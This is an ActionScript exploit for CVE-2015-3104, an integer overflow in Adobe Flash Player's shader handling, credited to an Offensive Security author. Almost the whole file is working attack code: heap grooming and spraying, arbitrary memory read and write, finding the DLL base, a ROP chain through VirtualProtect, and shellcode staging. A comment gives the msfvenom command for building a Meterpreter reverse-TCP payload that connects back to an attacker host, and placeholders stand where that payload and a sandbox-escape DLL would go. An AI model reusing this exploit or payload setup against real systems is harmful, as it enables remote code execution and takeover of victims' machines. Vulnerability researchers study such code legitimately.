// Exploit Title: Adobe Flash Player - Integer Overflow
// Exploit Author: Matteo Memelli (ryujin@offensive-security)
// Date: 14/01/2017
// Original PoC: https://bugs.chromium.org/p/project-zero/issues/detail?id=323&can=1&q=Shader
// CVE: CVE-2015-3104
// Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3104
package
{
import flash.display.*;
import flash.utils.ByteArray;
import flash.events.Event;
import flash.events.MouseEvent;
import flash.text.*
import mx.utils.Base64Decoder;
public class ShaderInputOverflow extends Sprite
{
public var bb:ByteArray = null;
public var allocate:Array;
public var MAX_ARRAY:uint = 81920;
public var text:TextField = new TextField();
public var gText:String = "";
public var corrupted:uint = 0;
public var corrupted_ba_address:uint = 0;
public var corrupted_ba_pos:uint = 0;
public var next_ba_address:uint = 0;
public var NPSWF32Base:uint = 0;
public function ShaderInputOverflow():void
{
if (stage) drawText();
else addEventListener(Event.ADDED_TO_STAGE, drawText);
drawText();
var i:uint;
allocate = new Array();
for (i = 0; i < MAX_ARRAY; i++) {
bb = new ByteArray();
bb.writeByte(0x57);
bb.writeByte(0x30);
bb.writeByte(0x30);
bb.writeByte(0x54);
bb.writeByte(0x57);
bb.writeByte(0x30);
bb.writeByte(0x30);
bb.writeByte(0x54);
bb.writeByte(0x57);
bb.writeByte(0x30);
bb.writeByte(0x30);
bb.writeByte(0x54);
bb.writeByte(0x57);
bb.writeByte(0x30);
bb.writeByte(0x30);
bb.writeByte(0x54);
allocate.push(bb);
}
// We create "holes" of size 0x18 bytes on the heap
i = MAX_ARRAY/2;
while (i<MAX_ARRAY)
{
if (i % 2 != 0) {
allocate[i] = null;
}
i++;
}
var ba:ByteArray = new ByteArray();
ba.writeByte(0xa1); // Define parameter?
ba.writeByte(0x02); // Output.
ba.writeByte(0x04); // Type: 4 floats.
ba.writeByte(0x00); // 16-bit field, ??
ba.writeByte(0x01);
ba.writeByte(0xff); // Mask.
ba.writeByte(0x41);
ba.writeByte(0x00); // Param name: 'A'
ba.writeByte(0xa3); // Add texture?
ba.writeByte(0x00); // Index?
ba.writeByte(0x40); // 64 channels.
ba.writeByte(0x42);
ba.writeByte(0x42);
ba.writeByte(0x42);
ba.writeByte(0x42);
ba.writeByte(0x00); // Texture name: 'BBBB'
ba.position = 0;
var baOut:ByteArray = new ByteArray();
var baIn:ByteArray = new ByteArray();
// Overwrite ByteArray::Buffer Object capacity field with 0xffffffff
// and the pointer to the data to 0x16000000
baIn.writeUnsignedInt(0x6230306e);
baIn.writeUnsignedInt(0x6230306e);
baIn.writeUnsignedInt(0x41414141); // ptr
baIn.writeUnsignedInt(0x41414141); // 0x1
// Offset can be 0x10 bytes
baIn.writeUnsignedInt(0x16000000); // ptr to data
baIn.writeUnsignedInt(0xffffffff); // capacity
baIn.writeUnsignedInt(0x16000000); // length / ptr to data
// Another time in case the offset is 0x8 bytes
baIn.writeUnsignedInt(0xffffffff); // capacity
baIn.writeUnsignedInt(0xffffffff); // length
var job:ShaderJob = new ShaderJob();
var shader:Shader = new Shader();
shader.byteCode = ba;
shader.data.BBBB.width = 8192;
shader.data.BBBB.height = 8192;
shader.data.BBBB.input = baIn;
job.target = baOut;
job.width = 1;
job.height = 1;
job.shader = shader;
// We need to catch the Error thrown by Flash to continue the execution
// job.start triggers the copy that causes the heap overflow
try
{
job.start(true);
}
catch (err:Error)
{
trace("w00t");
}
var s:spray = new spray();
corrupted = findCorrupted();
allocate[corrupted].position = 0;
gText += "The corrupted ByteArray object is at index " + corrupted.toString() + " of the 'allocate' array\n";
gText += "The length of the corrupted ByteArray is " + (allocate[corrupted].length).toString(16) + "\n";
findCorruptedAddress();
gText += "Corrupted ByteArray::Buffer object address 0x" + (corrupted_ba_address).toString(16) + "\n";
var NPSWF32Ptr:uint = readDword((corrupted_ba_address+0x18*2));
gText += "NPSWF32Ptr: 0x" + NPSWF32Ptr.toString(16) + "\n";
NPSWF32Base = findNPSWF32_Base(NPSWF32Ptr);
gText += "NPSWF32Base Address: 0x" + NPSWF32Base.toString(16) + "\n";
// Look for the corrupted ByteArray::Buffer object address
var tosearch:uint = corrupted_ba_address;
gText += "Ptr to search: 0x" + tosearch.toString(16) + "\n";
var VTableObj:uint = findVTable(tosearch);
gText += "VTable Address: 0x" + VTableObj.toString(16) + "\n";
updateText();
var methodEnvVtable:uint = readDword(VTableObj+0xd4);
gText += "methodEnvVtable Address: 0x" + methodEnvVtable.toString(16) + "\n";
updateText();
// Crash on the Jitted pointer dereference that leads to code execution
//writeDword((VTableObj+0xd4), 0x42424242);
// Control the Jitted pointer dereference that leads to code execution
writeROPChain(NPSWF32Base);
// Decode and Write the files for the privilege escalation to memory
var dll:ByteArray = new ByteArray();
var met:ByteArray = new ByteArray();
var dec1:Base64Decoder = new Base64Decoder();
var dec2:Base64Decoder = new Base64Decoder();
// sandbox exploit code
dec1.decode("YOUR BASE64 PRIVESC SANDBOX ESCAPE DLL CODE HERE");
dll = dec1.toByteArray();
// msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LPORT=4444 LHOST=YOURIP -e generic/none -f exe > pwnd.exe
// base64 pwnd.exe | tr --delete '\n'
// Meterpreter executable or any other payload…
dec2.decode("YOUR BASE64 METERPRETER CODE HERE");
met = dec2.toByteArray();
writeBytes(0x1a100000, met);
writeBytes(0x1a200000, dll);
writeDword((VTableObj+0xd4), 0x1a000000);
gText += allocate[corrupted].toString();
}
private function hexStringToByteArray(hexstring:String) : ByteArray
{
var bindata:ByteArray = new ByteArray();
bindata.endian = "littleEndian";
var hexstr:String = null;
var count:uint = 0;
while(count < hexstring.length)
{
hexstr = hexstring.charAt(count) + (hexstring.charAt(count + 1));
bindata.writeByte(parseInt(hexstr, 16));
count += 2;
}
return bindata;
}
private function writeROPChain(NPSWF32Base:uint):void
{
var ROPaddr:uint = 0x1a00CBE2;
writeDword(0x1a000004, (NPSWF32Base+0x00418a60)); // PIVOT XCHG ECX,ESP...
// Save stack information to restore the execution flow after shellcode
writeDword(0x1a000000, (NPSWF32Base+0x00007324)); // POP EAX # RETN
writeDword(ROPaddr, 0x1a000400); ROPaddr +=4 ; // SAVE ECX VALUE HERE
writeDword(ROPaddr, (NPSWF32Base+0x0000268e)); ROPaddr +=4 ; // MOV [EAX],ECX # RETN
writeDword(ROPaddr, (NPSWF32Base+0x00007324)); ROPaddr +=4 ; // POP EAX # RETN
writeDword(ROPaddr, 0x1a000404); ROPaddr +=4 ; // SAVE EBX VALUE HERE
writeDword(ROPaddr, (NPSWF32Base+0x000064c54)); ROPaddr +=4 ; // MOV [EAX],EBX # POP EBX # POP ECX; RETN
writeDword(ROPaddr, 0x41414141); ROPaddr +=4 ; // JUNK
writeDword(ROPaddr, 0x42424242); ROPaddr +=4 ; // JUNK
// Mona Chain
writeDword(ROPaddr, (NPSWF32Base+0x0039cbea)); ROPaddr +=4 ; // POP EBP # RETN
writeDword(ROPaddr, (NPSWF32Base+0x0039cbea)); ROPaddr +=4 ; // POP EBP # RETN
writeDword(ROPaddr, (NPSWF32Base+0x0077c1eb)); ROPaddr +=4 ; // POP EBX # RETN
writeDword(ROPaddr, 0x00000201); ROPaddr +=4 ;
writeDword(ROPaddr, (NPSWF32Base+0x007fff57)); ROPaddr +=4 ; // POP EDX # RETN
writeDword(ROPaddr, 0x00000040); ROPaddr +=4 ;
writeDword(ROPaddr, (NPSWF32Base+0x00b433a9)); ROPaddr +=4 ; // POP ECX # RETN
writeDword(ROPaddr, (NPSWF32Base+0x00f7e6f5)); ROPaddr +=4 ; // &Writable location
writeDword(ROPaddr, (NPSWF32Base+0x00b1ad8f)); ROPaddr +=4 ; // POP EDI # RETN
writeDword(ROPaddr, (NPSWF32Base+0x00273302)); ROPaddr +=4 ; // ROP NOP # RETN
writeDword(ROPaddr, (NPSWF32Base+0x006cb604)); ROPaddr +=4 ; // POP ESI # RETN
writeDword(ROPaddr, (NPSWF32Base+0x0000d98f)); ROPaddr +=4 ; // JMP [EAX]
writeDword(ROPaddr, (NPSWF32Base+0x002742d3)); ROPaddr +=4 ; // POP EAX # RETN
writeDword(ROPaddr, (NPSWF32Base+0x00b7d364)); ROPaddr +=4 ; // ptr to VirtualProtect IAT
writeDword(ROPaddr, (NPSWF32Base+0x00a4a349)); ROPaddr +=4 ; // PUSHAD # RETN
writeDword(ROPaddr, (NPSWF32Base+0x0015fce4)); ROPaddr +=4 ; // PTR TO JMP ESP
// NOPsled
writeDword(ROPaddr, 0x90909090); ROPaddr +=4 ; // nopsled
writeDword(ROPaddr, 0x90909090); ROPaddr +=4 ; // nopsled
writeDword(ROPaddr, 0x90909090); ROPaddr +=4 ; // shellcode
var Shellcode:String = new String();
Shellcode += "..... YOUR SANDBOX EVASION SHELLCODE HERE ... ";
writeBytes(ROPaddr, hexStringToByteArray(Shellcode)); ROPaddr += Shellcode.length/2;
// Restore component
// 1a00cc56 8b0d0004001a mov ecx,dword ptr ds:[1A000400h]
// 1a00cc5c 8b1d0404001a mov ebx,dword ptr ds:[1A000404h]
// 1a00cc62 28d9 sub cl,bl
// 1a00cc64 87cc xchg ecx,esp
// 1a00cc66 8bec mov ebp,esp
// 1a00cc68 83c52c add ebp,2Ch
// 1a00cc6b 31c0 xor eax,eax
// 1a00cc6d c3 ret
var Restore:String = new String();
Restore = "8b0d0004001a8b1d0404001a28d987cc8bec83c52c31c0c3";
writeBytes(ROPaddr, hexStringToByteArray(Restore)); ROPaddr += Restore.length/2;
}
private function findVTable(startAddress:uint):uint
{
// Find the VTable Object Address within the ByteArrayObject
allocate[corrupted].endian = "littleEndian";
var addr:uint = 0;
var base:uint = 0x16000000;
var bstart:uint = base;
var count:uint = 0;
while (true)
{
if (readDword(base) == startAddress)
{
addr = bstart+count;
// ByteArray::Buffer pointer is at offset +0x40
addr = addr - 0x40;
// VTable Object pointer is at +0x8
return readDword(addr+0x8);
}
else
{
base += 4;
count += 4;
}
}
return addr;
}
private function findNPSWF32_Base(NPSWF32Ptr:uint):uint
{
// Find a DLL base address by appling the scan down technique
var addr:uint = NPSWF32Ptr & 0xfffff000;
while (true)
{
if (readDword(addr) == 0x00905a4d)
{
return addr;
}
else
{
addr = addr - 0x1000;
}
}
return addr;
}
private function readDword(pAddress:uint):uint
{
// Read a DWORD from an address
// by changing the ptr to array of bytes
var tmpIndex:uint = 0;
var res:uint = 0;
// Change ptr to array of bytes
tmpIndex = (corrupted_ba_address + 0x8) - 0x16000000;
allocate[corrupted].position = tmpIndex;
allocate[corrupted].writeUnsignedInt(pAddress);
allocate[corrupted].position = 0;
// Read a DWORD from the new address
res = allocate[corrupted].readUnsignedInt();
// Reset ptr to array of bytes to 0x16000000
tmpIndex = (corrupted_ba_address + 0x8) - pAddress;
allocate[corrupted].position = tmpIndex;
allocate[corrupted].writeUnsignedInt(0x16000000);
return res;
}
private function writeDword(pAddress:uint, value:uint):void
{
// write a DWORD to an address
// by changing the ptr to array of bytes
var tmpIndex:uint = 0;
// Change ptr to array of bytes
tmpIndex = (corrupted_ba_address + 0x8) - 0x16000000;
allocate[corrupted].position = tmpIndex;
allocate[corrupted].writeUnsignedInt(pAddress);
allocate[corrupted].position = 0;
// Read a DWORD from the new address
allocate[corrupted].writeUnsignedInt(value);
// Reset ptr to array of bytes to 0x16000000
tmpIndex = (corrupted_ba_address + 0x8) - pAddress;
allocate[corrupted].position = tmpIndex;
allocate[corrupted].writeUnsignedInt(0x16000000);
}
private function writeBytes(pAddress:uint, data:ByteArray):void
{
// write a ByteArray to an address
// by changing the ptr to array of bytes
var tmpIndex:uint = 0;
// Change ptr to array of bytes
tmpIndex = (corrupted_ba_address + 0x8) - 0x16000000;
allocate[corrupted].position = tmpIndex;
allocate[corrupted].writeUnsignedInt(pAddress);
allocate[corrupted].position = 0;
// Read a ByteArray tp the new address
allocate[corrupted].writeBytes(data, 0, 0);
// Reset ptr to array of bytes to 0x16000000
tmpIndex = (corrupted_ba_address + 0x8) - pAddress;
allocate[corrupted].position = tmpIndex;
allocate[corrupted].writeUnsignedInt(0x16000000);
}
private function findCorruptedAddress():void
{
allocate[corrupted].position = 0;
allocate[corrupted].endian = "littleEndian";
while (true)
{
if(allocate[corrupted].readUnsignedInt() == 0x6230306e)
{
if(allocate[corrupted].readUnsignedInt() == 0x6230306e)
{
// Corrupted Object starts just after the second 0x6230306e tag in case the offset is 0x10
// otherwise after the two 0x41414141 dwords in case the offset is 0x8
// OFFSET 0x10 LENGTH = 0x16000000
if (allocate[corrupted].length == 0x16000000)
corrupted_ba_pos = allocate[corrupted].position;
// OFFSET 0x8 LENGTH = 0xffffffff
else
corrupted_ba_pos = allocate[corrupted].position + 0x8;
// We calculate the address of the corrupted object by using the index
// and the base address that we set through the heap overflow.
corrupted_ba_address = 0x16000000 + corrupted_ba_pos;
// Since every in-use ByteArray object is alternated with a free one
// (we created the holes), the next in-use ByteArray is at 0x18*2 bytes
// from the corrupted one.
next_ba_address = corrupted_ba_address + 0x18*2;
return;
}
}
}
return;
}
private function findCorrupted():uint
{
// Find the corrupted ByteArray::Buffer object.
// We can find it by checking for a size different from the
// original 0x10 bytes, since the ByteArray data is 16 bytes
// for all the objects we allocated, except the corrupted one.
var i:uint = MAX_ARRAY/2;
while (i<MAX_ARRAY)
{
if (i % 2 == 0)
{
if(allocate[i].length != 0x10)
{
return i;
}
}
i++;
}
return 0;
}
public function updateText(e:Event = null):void
{
text.text = gText;
}
public function drawText(e:Event = null):void
{
removeEventListener(Event.ADDED_TO_STAGE, drawText);
text.text = gText;
text.width = 300;
text.height = 100;
text.x = 10;
text.y = 10;
text.multiline = true;
text.wordWrap = true;
text.background = true;
text.border = true;
var format:TextFormat = new TextFormat();
format.font = "Verdana";
format.color = 0xff0000;
format.size = 8;
text.defaultTextFormat = format;
addChild(text);
text.addEventListener(MouseEvent.MOUSE_DOWN, mouseDownScroll);
}
public function mouseDownScroll(event:MouseEvent):void
{
text.scrollV++;
}
}
}
import flash.display.MovieClip;
import flash.utils.*;
class spray extends MovieClip
{
public var allocate:Array;
public function spray()
{
HeapSpray();
}
public function HeapSpray() : void
{
var chunk_size:uint = 1048576; // 0x100000
var block_size:uint = 65536; // 0x10000
var heapblocklen:uint = 0;
var spraychunks:uint = 0;
var heapblock1:ByteArray;
var heapblock2:ByteArray;
var heapblock3:ByteArray;
heapblock1 = new ByteArray();
heapblock1.endian = Endian.LITTLE_ENDIAN;
heapblock1.writeInt(0x41424344);
heapblocklen = heapblocklen + 4;
while(heapblocklen < block_size)
{
heapblock1.writeByte(0x0d); // padding to 64K
heapblocklen = heapblocklen + 1;
}
heapblock2 = new ByteArray();
while(heapblock2.length < chunk_size)
{
heapblock2.writeBytes(heapblock1, 0, heapblock1.length);
}
allocate = new Array();
// 600MB spray
while(spraychunks < 50)
{
heapblock3 = new ByteArray();
heapblock3.writeBytes(heapblock2, 0, heapblock2.length);
allocate.push(heapblock3);
spraychunks = spraychunks + 1;
}
}
}